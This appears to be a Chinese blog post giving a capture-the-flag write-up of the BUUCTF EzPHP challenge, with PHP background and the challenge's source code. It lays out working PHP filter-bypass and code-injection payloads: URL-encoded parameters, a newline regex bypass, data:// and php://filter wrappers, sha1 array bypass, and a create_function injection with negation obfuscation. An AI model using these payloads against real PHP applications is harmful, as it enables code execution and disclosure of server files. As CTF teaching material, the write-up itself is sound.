提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 一、知识
  • 二、题目详解

前言

提示:这里可以添加本文要记录的大概内容:

对BUUCTF [BJDCTF2020]EzPHP1的多重绕过记录


提示:以下是本篇文章正文内容,下面案例可供参考

一、知识

extract(array,extract_rules,prefix)
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量,该函数返回成功设置的变量数目。

例子:

<?php
$code='';
$arg='';
$flag=array('code'=>'a','arg'=>'b');
extract($flag);
print(extract($flag));
printf($code);
print($arg)
?>运行结果:2ab

example: http://exmaple.com/example/index.php?test=test
$_SERVER      服务器和执行环境信息
$_SERVER['QUERY_STRING']     获取查询语句,获取?后面的值("test=test")
$_SERVER['REQUEST_URI']    获取URL后的值("/example/index.php?test=test")
$_SERVER['SCRIPT_NAME'] 获取当前脚本路径("/example/index.php")
$SERVER['PHP_SELF']     获取当前脚本文件名("/example/index.php")

$_REQUEST 用于收集HTML表单提交的数据
$_REQUEST — HTTP Request 变量,默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。
$_REQUEST绕过,$_REQUEST在同时接收GET和POST参数时,POST优先级更高,先接受post参数。

md5与sha1加密可以利用数组返回false进行绕过

get_defined_vars():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

creation_function()注入(PHP8已移除):

$func = create_function('$a, $b', 'return $a/$b;');
echo $func(2, 1);输出2

等价于

<?php
function func($a,$b)
{return $a/$b;
}
echo func(2,1)
?>输出2

无字符webshell:进行取反绕过

二、题目详解

1,进入题目查看源代码:发现 GFXEIM3YFZYGQ4A= ,一个等号结尾,应该为base32,使用base32解密得1nD3x.php。

2,访问1nD3x.php:

得到题目源码:

 <?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?');
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); }
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?> 

对代码进行逐个分析:

if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?');
} 

查询语句中不能存在shana,debu等等一堆字符,由于$SERVER提取不会进行URL解码,而$_GET['args']会进行URL解码,可以进行URL编码绕过

if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!'); 

file文件中不能存在http和https协议,并且debu参数要从头匹配aqua_is_cute但又不==aqua_is_cute,可以使用换行符绕过

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); }
}

传入的参数中不能存在a-Z的字母,$_REQUEST绕过,$_REQUEST在同时接收GET和POST参数时,POST优先级更高,先接受post参数。

if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

$file的内容为debu_debu_aqua,可以使用伪协议data://text/plain;base64,[base64_encode_shell]写入

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

使用数组绕过

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>

create_function()进行注入

payload:

debu=aqua_is_cute
&file=data://text/plain,debu_debu_aqua&shana[]=1&flag[code]=creation_function&flag[arg]=;}var_dump(get_defined_vars());//

POST:

dubu=1&file=2

注意://注释掉后方的}

对payload中被过滤的字符进行url编码得payload:

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//

得到flag在readf14g.php中,需要读取出来,可以使用php://伪协议,并使用取反绕过

最终payload:

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));

使用base64解码得到flag。

BUUCTF [BJDCTF2020]EzPHP1详解相关推荐

  1. BuuCTF难题详解| Misc | VN 2020 公开赛 内存取证

    题目介绍 这道题目,我们要在Buu上面做需要的步骤需要调整,先下载链接内容,然后在下载附加. BuuCTF难题详解| Misc | V&N 2020 公开赛 内存取证 P1 我们使用volat ...

  2. group_concat函数详解

    https://blog.csdn.net/ys410900345/article/details/44828571 问了好多人,都不知道group_concat这个函数. 这个函数好啊,能将相同的行 ...

  3. HCTF 2018:WarmUp(源代码详解)

    前言 之前刷BUUCTF时遇到过这题,这次刷XCTF时也遇到了,那就写个详细点的WP吧 寻找利用点 打开题目,是一个滑稽图 没发现什么,查看下网页源代码,发现了source.php 访问source. ...

  4. 系统调用功能号与execve函数详解

    先看看下面通过系统调用实现的hello world代码: .section .data msg:.ascii "Hello world!\n" .section .text .gl ...

  5. axb_2019_heap详解

    关于axb_2019_heap的详解 参考:buuctf axb_2019_heap 程序流程 banner:存在格式化字符串漏洞,可以泄漏栈上的信息 add:根据idx创建size(大于0x80)大 ...

  6. 从命令行到IDE,版本管理工具Git详解(远程仓库创建+命令行讲解+IDEA集成使用)

    首先,Git已经并不只是GitHub,而是所有基于Git的平台,只要在你的电脑上面下载了Git,你就可以通过Git去管理"基于Git的平台"上的代码,常用的平台有GitHub.Gi ...

  7. JVM年轻代,老年代,永久代详解​​​​​​​

    秉承不重复造轮子的原则,查看印象笔记分享连接↓↓↓↓ 传送门:JVM年轻代,老年代,永久代详解 速读摘要 最近被问到了这个问题,解释的不是很清晰,有一些概念略微模糊,在此进行整理和记录,分享给大家.在 ...

  8. docker常用命令详解

    docker常用命令详解 本文只记录docker命令在大部分情境下的使用,如果想了解每一个选项的细节,请参考官方文档,这里只作为自己以后的备忘记录下来. 根据自己的理解,总的来说分为以下几种: Doc ...

  9. 通俗易懂word2vec详解词嵌入-深度学习

    https://blog.csdn.net/just_so_so_fnc/article/details/103304995 skip-gram 原理没看完 https://blog.csdn.net ...

最新文章

  1. 量子力学——超弦理论、M理论(膜论)
  2. java sundry tips
  3. java期末考试2013及答案_java笔试经典(题及答案)2013.doc
  4. ActiveMQ-为什么需要消息中间件及优缺点
  5. JM8.6之get_block() 1/4亮度像素内插详述
  6. php和app关系,php在app开发中的应用
  7. tomcat 设置编码格式
  8. 通达信资金净流入公式_净流入副图源码指标 通达信 贴图
  9. 能破解百度网盘提取码,云盘万能钥匙宣布关闭!
  10. MATLAB与STK互联18:卫星对象操作(9)—地面站可见性计算并获取数据2(补充上篇博文,有些问题需要澄清)
  11. AGND为模拟地,DGND为数字地
  12. DNS到底是干什么用的
  13. [操作系统] elementary os系统美化插件
  14. 深度学习网络模型梳理
  15. java中pl是什么意思,英语中pl是什么意思
  16. 20041220 GETSTRING.CS
  17. linux+创建一个v文件共享,win10与Ubantu双系统:Linux下开启FTP服务器与创建无线热点(实现文件共享)...
  18. vanilla_如何使用Vanilla JavaScript构建简单的全屏幻灯片
  19. 在棋盘上放米粒php,棋盘上的米粒(Python)
  20. 学习mysql_day2

热门文章

  1. 最新-手把手教Unity2017.3 Android Studio3.0.1 SDK接入教程含jdk和sdk环境配置
  2. 训练SSD时,viz报错
  3. 计算机计算资产分析表,财务指标计算公式excel,用EXCEL做财务指标分析,如何使用其他工作簿做公式计算??...
  4. python算法习题(一): 排列组合
  5. A Weakly Supervised Convolutional Network for Change Segmentation and Classification
  6. 万能解决问题思路方法——3W
  7. 复旦大学计算机系专业就业方向,2021年复旦大学专业排行榜,哪个专业就业比较好...
  8. 基于腾讯云的多人视频会议的在线语音转写功能的实现
  9. 暴力+格式转化+板子真题 蓝桥
  10. 软件版本中的Alpha,Beta,RC,Trial是什么意思